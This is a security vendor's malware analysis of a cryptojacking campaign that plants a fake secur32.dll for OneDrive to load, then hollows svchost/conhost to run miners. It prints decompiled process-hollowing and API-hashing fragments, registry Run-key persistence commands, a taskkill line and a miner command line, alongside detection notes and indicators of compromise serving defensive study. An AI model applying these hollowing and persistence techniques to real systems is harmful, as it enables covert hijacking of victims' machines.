Side-Loading OneDrive for profit – Cryptojacking campaign detected in the wild
Contents

Foreword....................................................................................................................................................3
Summary ................................................................................................................................................... 3
Technical analysis .................................................................................................................................................4
  Initial access ..................................................................................................................................................4
  API resolution ...............................................................................................................................................4
  Execution flow ............................................................................................................................................6
  Defense evasion techniques .........................................................................................................................18
  Command and Control ................................................................................................................................19
  Impact ........................................................................................................................................................20
Campaign distribution/ Campaign evolution .............................................................................................20
How does Bitdefender defend against the campaign? .....................................................................................22
  Protection ................................................................................................................................................22
  Detection ................................................................................................................................................22
Conclusion ........................................................................................................................................................24
Bibliography ..................................................................................................................................................24
MITRE techniques breakdown ......................................................................................................................25
Indicators of compromise .............................................................................................................................25
  Hashes .......................................................................................................................................................25
  URLs ........................................................................................................................................................25
  Registry ....................................................................................................................................................25

Authors:
Balint SZABO - Security Researcher (Attack Research) @ Bitdefender
Foreword

Cryptojackers have become very lucrative for cybercriminals in recent years as the price of cryptocurrency soared. From data breaches to PUAs to warez downloads, coin miners and cryptojackers crop up steadily in our threat landscape reports. However, to meet their financial expectations, cybercriminals are taking new approaches to planting and loading cryptojackers on victims’ computers. This is the case of an active cryptojacking campaign that uses a Dynamic Library Link (DLL) hijacking vulnerability in OneDrive to achieve persistence and run undetected on infected devices.

A short introduction to DLL hijacking

The Windows operating system and third-party applications rely on DLL files to provide and extend functionality. They are the basic building blocks of software that can be called on without having to reinvent the wheel. When an application requires functionality in a specific DLL, it searches for that specific file in a pre-defined order:

- The directory from where the application is loaded
- The System directory.
- The 16-bit system directory.
- The Windows directory.
- The current directory.
- The directories that are listed in the PATH environment variable.

If the full path of the required DLL file(s) is not specified, the application attempts to locate and load it on the paths mentioned above. A malicious DLL planted on the search path will then get inadvertently loaded and executed instead of the genuine one.

Summary

In this paper we describe a cryptojacking campaign in which the attackers exploit known DLL Side-Loading vulnerabilities in Microsoft OneDrive. Similar DLL Side-Loading vulnerabilities have been reported in 1, 2 and 3.

The attackers write a fake secure32.dll to %LocalAppData%\Microsoft\OneDrive\ as non-elevated users that will be loaded by one of the OneDrive processes (OneDrive.exe or OneDriveStandaloneUpdater.exe).

Threat actors use one of OneDrive’s dll files to easily achieve persistence, because %LocalAppData%\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe is scheduled to run every day, by default.

To make persistence even more robust, the droppers of the fake secure32.dll also set %LocalAppData%\Microsoft\OneDrive\OneDrive.exe to run at every reboot using the Windows Registry.

Once loaded into one of the OneDrive processes, the fake secure32.dll downloads open-source cryptocurrency mining software and injects it into legitimate Windows processes.

Although the article presents DLL Side-Loading used for cryptojacking, this method can be used to achieve various other goals, like deploying spyware or ransomware.

In the two-month period from May 1 to July 1, 2022, Bitdefender detected this kind of cryptojacking of around 700 users around the globe.
Technical analysis

In this chapter we describe the way in which secur32.dll arrives on the system and what actions it performs once it is loaded in a OneDrive process. We noticed four similar hashes of secur32.dll, but all of them perform the same actions. Multiple versions of secur32.dll hints at the fact that this malware campaign is ongoing and actively tested (the authors are making small changes to the code and recompiling it, but leave the functionality untouched).

In normal circumstances, OneDrive.exe and OneDriveStandaloneUpdater.exe load secur32.dll from C:\Windows\System32. In this case, secur32.dll is loaded from the OneDrive folder which allows non-elevated users to write files to C:\Users\<username>\AppData\Local\Microsoft\OneDrive\secur32.dll.

In this chapter, we will present the API resolution scheme used by the malware. The following is a stack trace in the moment when secur32.dll creates the malicious thread:

Stack trace in the moment when secur32.dll creates the malicious thread

Initial access

As initial access is concerned, the malicious secur32.dll seems to arrive at its desired location by commodity malware disguised as legitimate software (dropper process names include adobe photoshop setup.exe, Free_Macro_V1.3.exe). From the moment the malicious secur32.dll is dropped, it is up to the legitimate OneDrive.exe or OneDriveStandaloneUpdater.exe to load and execute it.

API resolution

Before digging further into the attack, we would like to present the API resolution scheme, which is used both by the dropper and the malicious secur32.dll.

When secur32.dll calls Windows API, the functions are not directly called, to evade malware detection based on imports. Instead, the malicious secur32.dll uses an API resolution scheme that employs FNV-1a hashing.
The call of CreateProcessA, for example, looks like this:

```c
memset(&processInformation, 0, sizeof(processInformation));
memset(startupInfo, 0, 0x68u64);
lpProcessInformation = &processInformation;
lpStartupInfo = startupInfo;
lpCurrentDirectory = 0i64;
lpEnvironment = 0i64;
dwCreationFlags = 0x80000000;
bInheritHandles = 0;
lpThreadAttributes = 0i64;
lpProcessAttributes = 0i64;
if ( !(unsigned int)Call_CreateProcessA(
    (unsigned int)__int64__vschostPath,
    (unsigned int)__int64__vschostPath2,
    (unsigned int)__int64__lpProcessAttributes,
    (unsigned int)__int64__lpThreadAttributes,
    (unsigned int)__int64__lpInheritHandles,
    (unsigned int)__int64__dwCreationFlags,
    (unsigned int)__int64__lpEnvironment,
    (unsigned int)__int64__lpCurrentDirectory,
    (unsigned int)__int64__lpStartupInfo,
    (unsigned int)__int64__lpProcessInformation) )
```

Example of indirect API call

An indirection is used for each function call that will resolve the API and then call the function:

```c
Ptr_CreateProcessA = (void *)GetProcAddress(GetModuleHandleA("kernel32"), "CreateProcessA");
lpProcessInformation = (QWORD *)malloc(sizeof(LPVOID) * 100);
lpCurrentDirectory = (QWORD *)malloc(sizeof(LPVOID) * 100);
dlCurrentProcess = (QWORD *)malloc(sizeof(LPVOID) * 100);
lpEnvironment = (QWORD *)malloc(sizeof(LPVOID) * 100);
lpStartupInfo = (QWORD *)malloc(sizeof(LPVOID) * 100);
lpThreadAttributes = (QWORD *)malloc(sizeof(LPVOID) * 100);
lpInheritHandles = (QWORD *)malloc(sizeof(LPVOID) * 100);

PEB *GetCurrentPeb()
{
    PEB *result; // rax
    return NtCurrentPeb();
}
```

The Process Environment Block is obtained using NtCurrentPeb()
The pointer to PEB_LDR_DATA is obtained from the PEB

```
sub    rsp, 28h
call   GetPebLdr
mov    rax, [rax+10h]
add    rsp, 28h
retn
```

Gets the InLoadOrderModuleList, that is actually the first entry of type LDR_DATA_TABLE_ENTRY

```c
_int64 Resolve_CreateProcessA()
{
    unsigned int NumberOfNames; // [rsp+20h] [rbp-48h]
    unsigned int Hash; // [rsp+20h] [rbp-40h]
    int ApiChecksum; // [rsp+20h] [rbp-3Ch]
    unsigned _int8 *LastNameAddress; // [rsp+30h] [rbp-38h]
    _int64 v5; // [rsp+10h] [rbp-30h] BYREF
    _int64 Array3Qword[3]; // [rsp+40h] [rbp-28h] BYREF
    GetInLoadOrderModuleList((Concurrency::details::SchedulerBase *)&v5);
    do
    {
        GetImportDirectory(_int64)Array3Qword, *(IMAGE_DOS_HEADER *)v5,(v5 + 48));
        if ( CompareImageBaseWithExportDirectoryVA(Array3Qword) )
        {
            NumberOfNames = ExportGetNumberOfNames((Concurrency::details::GlobalNode::Topologi

```

An interesting property of the FNV-1a hash is that it needs a value to initialize the hash. In the above example, the hash is initialized to 0xBCCAC3D70CB02197, but this can be any non-zero value. This initialization allows the malware to identify the target API name through more (Hash, ApiCheckSum) pairs, and the malware actually does this. Each API call has its own API resolution function with a different hardcoded initial hash and checksum.

**Execution flow**

**General infection flow**

We noticed two main patterns used when dropping `secur32.dll`. One of them involves using a small *dropper* malware process which writes to disk the malicious `secur32.dll` and additional files. In the second case, the *dropper* malware injects malicious code into `AppLaunch.exe` to perform the drop.
The following diagram offers a high-level overview of the malware operation flow:

The main attack flow

**Dropper flow**

The *dropper* malware attempts to limit noise by checking first if the infected computer can support crypto-currency mining. For that, it performs a basic check of the available hardware. First, it checks that the number of CPU cores is greater than 2.

```c
Call_GetSystemInfo((SYSTEM_INFO *)&lpSystemInfo);
if (systemInfo.dwNumberOfProcessors <= 2)
{
  v85 = sub_8095CF();
  Call.ExitProcess(&v85, (int)v85);
}
```

The *dropper* checks the number of CPU cores.

Next, it enumerates the display adapters to check that the system is equipped with, as a minimum, an Intel, Nvidia or AMD graphics card that runs correctly. After querying the display adapters, it checks whether they are equal with "Microsoft Basic Display Adapter" or "Standard VGA Graphics Adapter." These two display adapters are used when the driver of the graphics card is not yet installed, or the driver failed to run properly.
The dropper checks the existence of a graphics card

The dropper resolves the LoadLibraryA function and loads `shell32.dll`, `advapi32.dll` and `wininet32.dll`. The names of the DLLs are present in the dropper memory as XOR-encrypted strings.

In case `OneDrive.exe` is running, the malware stops it, using the command line: `taskkill /IM OneDrive.exe /F`.

The configuration of the crypto miner software is stored in the memory of the dropper, as a JSON array in a XOR-encrypted form. When decrypted, we notice that it contains the parameters required by the cryptomining software:

```
{
    "pipipi:pipipi:pipipi:pipipiR.3|...[0,"etc","etc.2miners.com:1010",
    "0xsC1B9F615FEa6F63A43D01C25CB8A7C84e54",0,"xmr","xmr.2miner.s.com:222","49V5L7YoprT4ACQlJfwZQK8RMY61scVu19uzPZrhZgW1T71qw93CDgRY2hXyK4mKyx5mJTn7CglF3fUbyhHLGxpYhlk","EasyMiner"],"xmr"
}
```

The configuration for the crypto mining software

The malware encrypts the JSON array by performing XOR operation with the GUID obtained by a call to `GetCurrentHwProfileA` and writes it to disk in the folder `%LocalAppData%\Microsoft\OneDrive\Secur32.dll` using a randomly generated file name that ends with `.s` (e.g.: 0dsaowQ2ACuzIJT.s).

The dropper then decrypts the malicious `secur32.dll` hardcoded in its own memory and writes it to `%LocalAppData%\Microsoft\OneDrive\Secur32.dll`. 
Side-Loading OneDrive for profit – Cryptojacking campaign detected in the wild

Interestingly, the dropper will also decrypt a hardcoded OneDrive.exe and replace the already existing one inside %LocalAppData%\Microsoft\OneDrive. The replacement OneDrive has malicious signatures on VirusTotal and it is not digitally signed, but the attack works with the original, clean OneDrive.exe. The replacement OneDrive.exe only contains a LoadLibraryA("secur32.dll") call.

To ensure that OneDrive executes at the next reboot, the dropper adds to registry values two reg.exe command lines:

- `REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v OneDrive /t REG_SZ /f /d %LocalAppData%\Microsoft\OneDrive\OneDrive.exe`
- `REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run /v OneDrive /t REG_BINARY /f /d 02000000000000000000000000000000`

At this point, the job of the dropper process is done. Now the malicious secur32.dll will be loaded by either OneDrive.exe or OneDriveStandaloneUpdater.exe into memory.

Some of the dropper processes that we detected communicate with a C2 server on Telegram and report the hardware specs and geolocation of the infected machine.
secur32.dll flow

The malicious secur32.dll exports only one function, GetUserWithNameExW:

![The export directory of the malicious secur32.dll]

The reason for this is that OneDrive.exe imports only GetUserWithNameExW from the malicious secur32.dll:

![The import directory of OneDrive.exe]

We can assume that OneDrive.exe calls GetUserWithNameExW. The malicious secur32.dll however returns the value 1 from the exported API:

```c
char GetUserWithNameExW()
{
    return 1;
}
```

Fake stub for GetUserWithNameExW

By using the fake GetUserWithNameExW stub, the malware avoids the disruption in the normal functioning of OneDrive.exe. The real malicious actions are executed from a different thread that is created by the secur32.dll from DllMain. The thread resolves LoadLibraryA and loads advapi32.dll, shell32.dll and wininet.dll. The thread also calls GetCurrentHwProfileA, which returns the same GUID as it returned for the dropper. In the rest of the paper we will refer to this GUID as the GUID password. The thread enumerates the files in %LocalAppData%\Microsoft\ and it looks for three special files:
The **dropper** decrypts the config file using the GUID password and loaded into memory as a JSON array.

If the **dropper** cannot find either XMRig or lolMiner on the disk, it means that **secur32.dll** did not yet run and they must be downloaded from their GitHub repositories. When downloading the crypto miners, the URLs used for download are XOR decrypted from memory. The User-Agent in the requests is "soft".

```c
/**
 * decrypted_loMinerUrl = (const _mi281 *)getEncryptedLoMinerUrl(\x00\x00\x00\x00);,
 * decrypted_loMinerUrl = Xor_80_byte(encrypted_loMinerUrl);
 */
```

The URLs for lolMiner is decrypted by applying 80 bytes long XOR with hardcoded key

```c
dwFlags = 0;
lpProxy = "0164;",
lpProxy = "0164;",
dwAccessType = 1;
lpAgent = "soft"
```

The **dropper** will make a request to github.com with the User-Agent set to "soft".

The crypto-miners are downloaded in memory as zip archives and then inflated while still being kept in memory. These crypto miners need some command line parameters to run. The **dropper** extracts the parameters from the config file ending in _s. Moreover, the config file specifies which crypto miner should be used. In case the mining algorithm is Ethash, EtcHash or TON, the chosen crypto-miner is lolMiner. In case of Monero, the obvious choice is XMRig.

If lolMiner is used, the hollowed process is **svchost.exe**. In case XMRig is used, the chosen victim is **conhost.exe**. After **OneDrive.exe** hollows the victim process, a new thread is started inside **OneDrive.exe**, which runs an infinite loop. This thread checks if **Taskmgr.exe**, **procexp.exe** or **procexp64.exe** is running and kills the hollowed process in case those tools are active. Otherwise, the victim process is hollowed again.

The main flow of the malicious thread is summarized by the following flowchart:
The main execution flow in the malicious secur32.dll (part 1)
The main execution flow in the malicious `secur32.dll` (part 2)
Flow of obtaining the image of the crypto miner in memory
The process hollowing technique is classic, but we will present it for recap purposes. First of all, a victim process is created with the CREATE_SUSPENDED flag:

```c
memset(&processInformation, 0, sizeof(processInformation));
memset(&startupInfo, 0, 0x68u64);
lpProcessInformation = &processInformation;
lpprocessInfo = &startupInfo;
lpCurrentDirectory = 0x164;
lpEnvironment = 0x164;
dwCreationFlags = 0x00000064;
binheritHandles = 0;
lpThreadAttributes = 0x164;
lpProcessAttributes = 0x164;

if ( !(unsigned int)Call_CreateProcessA(  
    ( __int64)&a1,  
    ( __int64)&vchostPath,  
    ( __int64)&vchostPath2,  
    ( __int64)&lpProcessAttributes,  
    ( __int64)&lpThreadAttributes,  
    ( __int64)&enInheritHandles,  
    ( __int64)&shCreationFlags,  
    ( __int64)&lpEnvironment,  
    ( __int64)&lpCurrentDirectory,  
    ( __int64)&lpStartupInfo,  
    ( __int64)&lpProcessInformation ) )
    return 0x164;
```

Process hollowing victim is created suspended

The context of the main thread of the victim process is needed in the hollowing process. A CONTEXT structure is allocated using VirtualAlloc and the context is acquired using GetThreadContext.

The ContextFlags field is set to CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_FLOATING_POINT.

```c
context = (CONTEXT *)Call_VirtualAlloc(  
    ( __int64)&a1 + 1,  
    ( __int64)&lpAddress,  
    ( __int64)&w64size,  
    ( __int64)&mallocType,  
    ( __int64)&fpProbe);

context->ContextFlags = 0x100000;
victimImageBaseAddress[1] = 0x164;
if ( !(unsigned int)Call_GetThreadContext(( __int64)&a1 + 2, ( __int64)&processInformation.hThread, ( __int64)&context) )
    return 0x164;
```

The context of the victim process is acquired

Executable memory is allocated in the address space of the victim process and the headers of the crypto miner MZPE are written in the allocated memory area:

```c
allocatedAddressInVictimProcess = VirtualAllocEx(  
    processInformation.hProcess,  
    imageNtHeaders->OptionalHeader.ImageBase,  
    imageNtHeaders->OptionalHeader.SizeOfImage,  
    0x3000164,  
    flProtect);

VirtualAllocEx called on the victim process

Call_WriteProcessMemory(  
    ( __int64)&a1 + 3,  
    ( __int64)&processInformation,  
    ( __int64)&allocatedAddressInVictimProcess,  
    ( __int64)&enInVirtualImageBase,  
    ( __int64)&ImageNtHeaders->OptionalHeader.SizeOfHeaders,  
    ( __int64)&numberOfBytesWritten);)
```

The headers of the crypto miner are written in the victim process
The sections of the crypto miner are written one by one in the memory address of the victim process and the ImageBase of the victim process is modified to the ImageBase of the crypto miner:

```c
for ( i = 0;i < imageNtHeaders->FileHeader.NumberOfSections; ++i )
{
    imageSectionHeader = (IMAGE_SECTION_HEADER *)((imageDosHeader->e_lfanew + minerVirtualImageBase + 40 * i + 264) + 0x16);
    lpNumberOfBytesWritten2 = 0x16;
    pointerToReadData = *((unsigned int *)(imageSectionHeader + 5)) + minerVirtualImageBase;
    virtualAddress = *((unsigned int *)(imageSectionHeader + 9)) + allocatedAddressInVictimProcess;
    Call_WriteProcessMemory2(
        (int64_t)&al + 4,
        (int64_t)&processInformation,
        (int64_t)&virtualAddress,
        (int64_t)&pointerToReadData,
        (int64_t)&imageSectionHeader + 16,
        (int64_t)&lpNumberOfBytesWritten2);
    lpNumberOfBytesWritten3 = 0x16;
    sizeof_Bytes = 8;
    addressOfImageBase = ((DWORD *)&imageNtHeaders->OptionalHeader.ImageBase);
    victimImageBaseAddress = context->Rdx + 0x10;
    Call_WriteProcessMemory3(
        (int64_t)&al + 5,
        (int64_t)&processInformation,
        (int64_t)&littleImageBaseAddress,
        (int64_t)&addressOfImageBase,
        (int64_t)&sizeof_Bytes,
        (int64_t)&lpNumberOfBytesWritten3);
}
```

The sections of the crypto miner are written in the victim process

At the end of the loop, the RCX register in the victim process context is changed to contain the virtual AddressOfEntryPoint of the injected crypto miner. This register originally contained the virtual AddressOfEntryPoint of the victim executable:

```c
context->Rcx = imageNtHeaders->OptionalHeader.AddressOfEntryPoint + allocatedAddressInVictimProcess;
Call_SetThreadContext((int64_t)&al + 6, (int64_t)&processInformation.hThread, (int64_t)&context);
Call_ResumeThread((int64_t)&al + 7, (int64_t)&processInformation.hThread);
v14 = 0;
Call_WaitForSingleObject((int64_t)&v6, (int64_t)&processInformation, (int64_t)&v14);
```

The AddressOfEntryPoint of the victim process is patched
The flow of the process hollowing operation is summarized in the following flowchart:
The flow of the post-hollowing operations is summarized in the following flowchart:

### Defense evasion techniques

This malware employs two big defense evasion techniques: DLL Side-Loading and Process Hollowing. First of all, the malicious `secur32.dll` gets loaded in OneDrive executables via a DLL Side-Loading vulnerability. Secondly, the crypto miner runs inside either a `svchost.exe` or a `conhost.exe` process as a result of Process Hollowing. Both these techniques help the malware blend in with the processes that normally run on a system, such that the presence of a crypto miner should not be obvious when somebody checks the running processes.

When it comes to smaller evasion techniques, the malware makes some effort to hide its strings, making it harder to add static detection rules. To make the job of static detection engines harder, the malware hides its imports by using an API resolution scheme and resolving an API only before using it.

### Strings encoding

For example, the string `Lolliedieb/lolMiner-releases/releases/download/1.48/lolMiner_v1.48_Win64.zip` is first loaded into an array as a ciphertext:
Example of ciphertext to be decrypted

```
int64 __fastcall GetCodedLoLMiner(int64 _a1)
{
    _a1 = sub_7FFE4C8BF080(0x82E8A5DE94636F11u64);
    a1[1] = sub_7FFe4C8BF080(0x8FJCI2C8D1A5B835B8ui64);
    a1[2] = sub_7FFe4C8BF080(-0xF18C790113EB4Du64);
    a1[3] = sub_7FFe4C8BF080(-0xB79471064A2DC7ui64);
    a1[4] = sub_7FFe4C8BF080(-0x866666704917Cui64);
    a1[5] = sub_7FFe4C8BF080(0x8FE7897DE1BD915ui64);
    a1[6] = sub_7FFe4C8BF080(-0xD7724927499413ui64);
    a1[7] = sub_7FFe4C8BF080(0x6F32E874C875u64);
    a1[8] = sub_7FFe4C8BF080(-0xF0A859511966AFiu64);
    a1[9] = sub_7FFe4C8BF080(0xD9E173FABDC19528ui64);
    return a1;
}
```

Example of encryption (and decryption) key

Finally, the XOR operation is performed by the vpxor instruction from the MMX instruction set.

**Command and Control**

There is no actual C2 server involved in the operation of this malware. The only communication with the group behind the attack is done by the dropper that reports back to the malware developers via a Telegram channel.

A request is made that contains the hardware parameters of the new "worker" alongside its localization data:

**Telegram channel message example**

<table>
<thead>
<tr>
<th><img src="image1" alt="New worker connected!" /></th>
<th><img src="image2" alt="New worker connected!" /></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Info:</strong></td>
<td><strong>Info:</strong></td>
</tr>
<tr>
<td>– CPU: Intel(R) Core(TM) i7-7700 CPU @ 3.60GHz</td>
<td>– CPU: Intel(R) Core(TM) i5-8300H CPU @ 2.30GHz</td>
</tr>
<tr>
<td>– RAM: 16247 MB</td>
<td>– RAM: 8066 MB</td>
</tr>
<tr>
<td><strong>Other info:</strong></td>
<td><strong>Other info:</strong></td>
</tr>
<tr>
<td>– Username: &lt;edited out&gt;</td>
<td>– Username: &lt;edited out&gt;</td>
</tr>
<tr>
<td>– Country: RO</td>
<td>– Country: PT</td>
</tr>
<tr>
<td>– Build tag: EasyMiner</td>
<td>– Build tag: xDD</td>
</tr>
</tbody>
</table>
Impact
As crypto-currency mining is resource-intensive, victims can immediately notice degraded CPU and GPU performance, overheating and increased energy consumption. All these side effects can wear hardware out.

As mentioned, the cryptojacking campaign uses four cryptocurrency mining algorithms: ethash, etchash, ton and xmr with a predilection towards etchash. With this information, as well as the public wallets in the configuration files, our investigation revealed that attackers make an average of $13 worth of crypto-currency per infected computer.

Campaign distribution/ Campaign evolution

In terms of campaign evolution, we noticed that the malicious secur32.dll is recompiled about every 3 weeks:

We noticed that changes between the versions don’t affect the functionality as much, but rather affect encoded strings.

For instance, the first version we noticed (fed6517a5f84eccc29edee5586d7feeb) contained the string Lolliedieb/lolMiner-releases/releases/download/1.48/lolMiner_v1.48_Win64.zip, while the second version, 9b1c1fd2556275a985bb4ce4aba99975 contained the string Lolliedieb/lolMiner-releases/releases/download/1.51a/lolMiner_v1.51a_Win64.zip. This implies the authors are updating the download location of the open-source cryptomining software when a new version comes along.
A breakdown of the top 10 countries in terms of number of infected users is as follows:

![Unique infections with cryptojacker](image)
How does Bitdefender defend against the campaign?

Protection
Bitdefender Endpoint Security Tools (BEST) On-Access scanning detects and stops the dropper process with a signature of type AI:Coinminer:

Detection
To test the detection and visibility of our product, we adjusted the BEST settings to not block malicious processes.

The Advanced Threat Control technology reveals the following actions taken by the dropper:

- running taskkill.exe to stop OneDrive.exe
- dropping the malicious secur32.dll
• running **OneDrive.exe**, which, after loading the malicious **secur32.dll**, makes a request to github.com, to download the open-source crypto miner
• running **reg.exe** which adds OneDrive to startup via Windows Registry
• connecting to the Telegram API
• dropping the config file of the crypto miner (the file ending in `.s`)

Upon reboot, we also notice that **OneDrive.exe** is automatically started by **explorer.exe**, executes **svchost.exe** and hollows it, which means that it replaces the image of **svchost.exe** in memory with the image of the crypto miner:

Detection & visibility for the side-loaded **onedrive.exe** from the GravityZone web interface

The command line of the hollowed **svchost.exe** will be `C:\Windows\system32\svchost.exe --algo ETCHASH --pool etc.2miners.com:1010 --user 0x5aC1BA3f615fEAa6F638436D1C25CB2847CB4e34.EasyMiner`
Conclusion

In this article we presented a DLL Side-Loading attack happening within the ubiquitous OneDrive application. OneDrive can be side-loaded with several other DLLs. In this case, secur32.dll was chosen, possibly because OneDrive uses only one of its exports. During our vulnerability disclosure process, we learnt that OneDrive can be installed "per user" or "per machine". In the default "per user" installation, the folder where OneDrive is located is writeable by non-elevated users, meaning that a malicious dll could be dropped there, or executable files can be modified or completely overwritten (OneDrive.exe, OneDriveStandalonUpdater.exe).

OneDrive was specifically chosen in this attack because it permits the actor to achieve easy persistence. Adding OneDrive to startup is an action done by the dropper malware, but even if it did not do so, OneDriveStandalonUpdater.exe is by default scheduled to execute each day. Of the detections we received, 95.5% came from OneDriveStandalonUpdater.exe loading the malicious secur32.dll. However, Microsoft recommends that customers choose the "per machine" install under the Program Files folder as per the instructions available here.

Given that the "per machine" installation method may not be suitable for all environments and privilege levels, user caution should be one of the strongest lines of defense against commodity malware. Bitdefender recommends that users ensure their AVs and operating systems are up to date, to avoid cracked software and game cheats and to download software from trusted locations only.

Bibliography

5. https://github.com/xmrig/xmrig
MITRE techniques breakdown

<table>
<thead>
<tr>
<th>Execution</th>
<th>Persistence</th>
<th>Defense Evasion</th>
<th>Discovery</th>
<th>Command and Control</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Autostart Execution: Registry Run Keys / Startup Folder</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Native API</td>
<td>Process Injection: Process Hollowing</td>
<td>System Information Discovery</td>
<td></td>
<td>System Location Discovery</td>
<td></td>
</tr>
</tbody>
</table>

Indicators of compromise

Hashes
- malicious secur32.dll
  - fed6517a5f84eccc29edee5586d7feeb
  - 9b0d09fd16c24a1691fa7e316351399d
  - 9b1c1fd2556275a985bb4ce4aba99975
  - ec36e1abff75584a9d0bb4a15f8f2c33
- modified OneDrive.exe
  - f3af73070387fb75b19286826cc3126c
- droppers
  - 7de8b8015540bf923385c36f60b9d5ae
  - 656a4c1fcc572e855ac2e512c04ae206
  - 7bbeb20cfcabca69d668c24a235082e
  - 7c64bb78b589054079a1048f9fc79708
  - 73ce9a93e9572c148a5785434708c41
  - 7c64bb78b589054079a1048f9fc79708
- %appdata%\Local\Microsoft\OneDrive\Secur32.dll
- %appdata%\Local\Microsoft\OneDrive\<random_characters>_s
- %appdata%\Local\Microsoft\OneDrive\<random_characters>_g
- %appdata%\Local\Microsoft\OneDrive\<random_characters>_c

URLs
- [github.com/Lolliedieb/lolMiner-releases/releases/download/1.48/lolMiner_v1.48_Win64.zip](https://github.com/Lolliedieb/lolMiner-releases/releases/download/1.48/lolMiner_v1.48_Win64.zip)
- [github.com/Lolliedieb/lolMiner-releases/releases/download/1.51a/lolMiner_v1.51a_Win64.zip](https://github.com/Lolliedieb/lolMiner-releases/releases/download/1.51a/lolMiner_v1.51a_Win64.zip)
- [github.com/xmrig/xmrig/releases/download/v6.17.0/xmrig-6.17.0-msvc-win64.zip](https://github.com/xmrig/xmrig/releases/download/v6.17.0/xmrig-6.17.0-msvc-win64.zip)

Files dropped/modified/deleted

- %appdata%\Local\Microsoft\OneDrive\Secur32.dll
- %appdata%\Local\Microsoft\<random_characters>_s
- %appdata%\Local\Microsoft\<random_characters>_g
- %appdata%\Local\Microsoft\<random_characters>_c

Registery
Places OneDrive to be launched at startup by adding:

- Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
- Value: OneDrive
- Type: REG_SZ
- Data: %LocalAppData%\Microsoft\OneDrive\OneDrive.exe

Enables startup action for OneDrive by setting:

- Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
- Value: OneDrive
- Type: REG_BINARY
- Data: 02000000000000000000000000000000

25
About Bitdefender

Bitdefender is a cybersecurity leader delivering best-in-class threat prevention, detection, and response solutions worldwide. Guardian over millions of consumer, business, and government environments, Bitdefender is one of the industry’s most trusted experts for eliminating threats, protecting privacy and data, and enabling cyber resilience. With deep investments in research and development, Bitdefender Labs discovers over 400 new threats each minute and validates around 40 billion daily threat queries. The company has pioneered breakthrough innovations in antimalware, IoT security, behavioral analytics, and artificial intelligence, and its technology is licensed by more than 150 of the world’s most recognized technology brands. Launched in 2001, Bitdefender has customers in 170+ countries with offices around the world.

For more information, visit https://www.bitdefender.com.